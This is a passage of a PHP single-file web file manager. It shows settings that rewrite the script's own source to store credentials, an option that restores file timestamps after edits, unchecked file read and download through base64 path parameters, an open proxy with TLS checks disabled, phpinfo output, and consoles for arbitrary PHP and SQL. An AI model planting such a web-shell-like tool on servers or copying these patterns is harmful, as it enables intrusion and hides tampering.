		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
